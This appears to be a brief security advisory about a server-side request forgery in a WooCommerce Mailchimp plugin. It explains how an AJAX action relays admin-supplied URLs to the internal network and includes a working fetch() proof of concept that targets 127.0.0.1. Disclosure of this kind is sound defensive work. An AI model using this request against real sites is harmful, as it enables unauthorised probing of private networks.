The plugin has an AJAX action that allows high privilege users to perform a POST request on behalf of the server to the internal network/LAN, the body of the request is also appended to the response so it can be used to scan private network for example
As an admin:
fetch("https://example.com/wp-admin/admin-ajax.php", {
"headers": {
"accept": "application/json, text/javascript, */*; q=0.01",
"accept-language": "en-US,en;q=0.9",
"content-type": "application/x-www-form-urlencoded; charset=UTF-8",
"x-requested-with": "XMLHttpRequest"
},
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "action=mailchimp_woocommerce_oauth_status&url=http://127.0.0.1:8181",
"method": "POST",
"mode": "cors",
"credentials": "include"
});